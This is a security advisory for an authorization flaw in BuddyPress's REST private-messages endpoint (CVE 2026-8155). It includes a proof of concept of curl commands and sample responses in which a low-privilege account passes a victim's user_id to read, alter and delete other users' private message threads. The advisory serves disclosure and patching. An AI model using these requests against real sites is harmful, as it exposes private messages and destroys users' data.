BuddyPress < 14.5.0 – Subscriber+ Private Messages Disclosure via IDOR | CVE 2026-8155

Description

The plugin does not properly enforce authorization on its private messaging endpoints, allowing any authenticated user (Subscriber+) to read, modify, or delete other users' private messages.

Proof of Concept

## Prerequisites

- BuddyPress's **Messages** component is active (Dashboard > Settings > BuddyPress > Components).
- A private message thread exists between two users (`alice` user_id=7 and `bobsmith` user_id=9 in this PoC).
- An attacker account at any role — Subscriber is sufficient (`mallory` user_id=8) — with an Application Password issued for HTTP Basic Auth.

## Steps to Reproduce

Replace `TARGET`, `ATTACKER:APP_PASSWORD`, `THREAD_ID`, and `VICTIM_USER_ID` accordingly. Mallory has no relationship to the thread.

### 1. Verify the request is denied without the parameter (control)

```
curl -u "mallory:APP_PASSWORD" "http://TARGET/wp-json/buddypress/v1/messages/1"
```

Response (HTTP 403):
```
{"code":"bp_rest_authorization_required","message":"Sorry, you are not allowed to see this thread.","data":{"status":403}}
```

### 2. Read the victim's private thread (IDOR — disclosure)

```
curl -u "mallory:APP_PASSWORD" "http://TARGET/wp-json/buddypress/v1/messages/1?user_id=9"
```

Response (HTTP 200) — full thread, including subject and message bodies:
```
[{"id":1,"subject":{"rendered":"Secret Merger Plans"},
  "message":{"rendered":"<p>Bob, the board approved the Acme Corp acquisition...</p>"},
  "recipients":[{"name":"bobsmith","user_id":9},{"name":"alice","user_id":7}],
  "messages":[{"id":1,"sender_id":7,"subject":{"rendered":"Secret Merger Plans"},
    "message":{"rendered":"<p>Bob, the board approved the Acme Corp acquisition...</p>"}}]
}]
```

The same works against any recipient (e.g. `?user_id=7` for alice).

### 3. Mark the victim's thread as read/unread (IDOR — integrity)

```
curl -u "mallory:APP_PASSWORD" -X PUT -H "Content-Type: application/json" \
  -d '{"read":true}' \
  "http://TARGET/wp-json/buddypress/v1/messages/1?user_id=9"
```

Returns HTTP 200; the thread's read state is changed on the victim's behalf.

### 4. Delete the victim from the thread (IDOR — destructive)

```
curl -u "mallory:APP_PASSWORD" -X DELETE \
  "http://TARGET/wp-json/buddypress/v1/messages/1?user_id=9"
```

Response (HTTP 200): `{"deleted":true,...}`. The victim is removed from the thread; once the last recipient is removed this way the thread is fully deleted.

## Expected vs. Actual

- **Expected**: The endpoint should authorize based on the actual logged-in user. An attacker who is not a recipient of the thread should always receive HTTP 403.
- **Actual**: Supplying `?user_id=<recipient_id>` causes the authorization check to use the victim's identity, granting the attacker read/update/delete access to the thread.